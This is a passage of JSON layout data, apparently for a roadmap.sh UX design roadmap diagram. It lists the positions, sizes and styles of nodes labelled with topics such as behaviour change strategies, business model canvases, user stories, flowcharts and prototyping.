\"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 142,\n      \"positionAbsolute\": {\n        \"x\": 316.94680530818437,\n        \"y\": -124.22219261572492\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 354,\n        \"height\": 142\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 354,\n        \"height\": 142\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 329.1501797209845,\n        \"y\": -42.23662919797964\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 329.1501797209845,\n        \"y\": -42.23662919797964\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w_QWN80zCf1tsVROeyuvo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 36.805412875927175,\n        \"y\": 400.8462912210996\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Behavior Change Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GgBazWfF2OvOqkuo3DO2L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 36.805412875927175,\n        \"y\": 400.8462912210996\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ifG_Cp4d_9v4FdUkRkN2A\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -259.21566738325384,\n        \"y\": 454.8462912210996\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Classifying Behavior\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -259.21566738325384,\n        \"y\": 454.8462912210996\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"0abyvwi8Rf8nNjUbY0qq1\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -17.948915957980603,\n        \"y\": 600.0364827465391\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 68,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 68,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -17.948915957980603,\n        \"y\": 600.0364827465391\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"q1WX2Cp4k4-o1T1vgL8FH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 379.0510840420194,\n        \"y\": 915.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understanding the Product\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GgBazWfF2OvOqkuo3DO2L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 379.0510840420194,\n        \"y\": 915.9027519463209\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sQeGE1Q_7y15-n4LXS8s2\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 447.0510840420194,\n        \"y\": 842.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Clarify Product\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"4nmx07v1O-rHYl84dutEU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 447.0510840420194,\n        \"y\": 842.9027519463209\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"7J8F9dn1jGaVlhLVVRPrG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 426.5510840420194,\n        \"y\": 679.9682005558906\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Target Outcome\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 426.5510840420194,\n        \"y\": 679.9682005558906\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FRn2MaR0-ehSD3zmwXcCI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 426.5510840420194,\n        \"y\": 732.9682005558906\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Target Actor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 426.5510840420194,\n        \"y\": 732.9682005558906\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AXn-N15U_z4OagClNoXrW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 426.5510840420194,\n        \"y\": 785.9682005558906\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Target Action\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 426.5510840420194,\n        \"y\": 785.9682005558906\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4nmx07v1O-rHYl84dutEU\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 86.6095391594074,\n        \"y\": 922.4027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Define Target Users  \",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 86.6095391594074,\n        \"y\": 922.4027519463209\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"s2KJ5kNv9UcnsP0QKIKQ7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.109539159407404,\n        \"y\": 865.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Create User Personas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 63.109539159407404,\n        \"y\": 865.9027519463209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"803UQ48IOF6XplL6s2R16\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 409.5510840420194,\n        \"y\": 1058.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Existing Business Model\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"mFXXwHxZ0ZHjw31iAQaH-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 409.5510840420194,\n        \"y\": 1058.9298705260153\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"SGO9hHju49_py0n0ASGBe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1096.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Business Model Canvas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1096.9298705260153\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sc8jJ_77CrkQuxIJYk28Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1149.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lean Canvas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1149.9298705260153\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mFXXwHxZ0ZHjw31iAQaH-\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 422.5510840420194,\n        \"y\": 1206.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"New Business Model\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 422.5510840420194,\n        \"y\": 1206.9298705260153\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"GI06-DbGyJlQXq5Tyi-aH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1246.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Business Model Inspirator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1246.9298705260153\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HUZ5n2MRHzQPyjwX2h6Q4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1299.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Competitor Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1299.9298705260153\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"F9gpGTRwXq08jNo5pPKm6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1352.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Five Forces Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1352.9298705260153\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XiEn1OGFY1bMCoB0Pk8N_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1405.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SWOT Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 388.0510840420194,\n        \"y\": 1405.9298705260153\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D1JzUxHFpT9-xjoLsvsCY\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 441.5510840420194,\n        \"y\": 1005.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Business Model\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 441.5510840420194,\n        \"y\": 1005.9298705260153\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"r6D07cN0Mg4YXsiRSrl1_\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 82.30541287592717,\n        \"y\": 1069.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conceptual Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GgBazWfF2OvOqkuo3DO2L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 82.30541287592717,\n        \"y\": 1069.9298705260153\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"N6tD-O5IFvSr0-UTlBAAp\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -286.73595655435645,\n        \"y\": 1036.169554817315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Create Product Backlog\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -286.73595655435645,\n        \"y\": 1036.169554817315\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"tkbkpvHlWQeOnReanR8J7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1072.169554817315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"User Stories\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1072.169554817315\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NQg3zCnDg7qdtH7bL2XLl\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -272.73595655435645,\n        \"y\": 1131.496860258174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Things to lookout for\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -272.73595655435645,\n        \"y\": 1131.496860258174\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"QNJ-LxfYtR8lbnmuy2Qm9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1172.5599036315757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"In general, keep it short and simple\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1172.5599036315757\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vAu2c45c7DgoRydHR2tvD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1225.5599036315757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make it easy to understand and complete\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1225.5599036315757\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8YePym3cQtoVY0DJQLllK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1278.5599036315757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make progress visible to user\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1278.5599036315757\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D3LVYuCDHD6-kU8GhXokf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1331.5599036315757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make progress meaningful to reward user\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1331.5599036315757\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"94V3wUtZ0NMm_0Vb1pBju\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1384.5599036315757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make successful completion clearly visible\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.73595655435645,\n        \"y\": 1384.5599036315757\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sKGv31mHcykV4mYugn9SH\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -242.73595655435636,\n        \"y\": 1443.8886076912136\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deliverables\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -242.73595655435636,\n        \"y\": 1443.8886076912136\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"0KEqAjHFBjfmGA1bKzXuD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.7359565543562,\n        \"y\": 1484.7690150431436\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Customer Experience Map by Mel Edwards\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.7359565543562,\n        \"y\": 1484.7690150431436\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JCP5_jyvh9u7hxp379iW2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.7359565543562,\n        \"y\": 1537.7690150431436\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Simple Flowchart\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.7359565543562,\n        \"y\": 1537.7690150431436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nccToz_0FUvHMJytpDpM0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.7359565543562,\n        \"y\": 1590.7690150431436\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event-driven Process Chain Model (EPC)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.7359565543562,\n        \"y\": 1590.7690150431436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jy5jtSEyNE8iJpad27rPX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.7359565543562,\n        \"y\": 1643.7690150431436\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Business Process Model & Notation (BPMN)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.7359565543562,\n        \"y\": 1643.7690150431436\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sG9Vwdypz0t17SwlHV-xw\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 18.305412875927175,\n        \"y\": 1032.5599036315757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"3inGDmHdZzATjIwTcHInX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 665,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 665\n      },\n      \"positionAbsolute\": {\n        \"x\": 18.305412875927175,\n        \"y\": 1032.5599036315757\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 665\n      }\n    },\n    {\n      \"id\": \"6yCBFwntQ_KxFmmGTJ8iR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 82.30541287592717,\n        \"y\": 1555.3769542823657\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Prototyping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GgBazWfF2OvOqkuo3DO2L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 82.30541287592717,\n        \"y\": 1555.3769542823657\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"90_M5qABC1vZ1nsXVyqFJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 80.80541287592717,\n        \"y\": 1466.9973748348116\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Good Layout Rules\",\n        \"style\": {\n          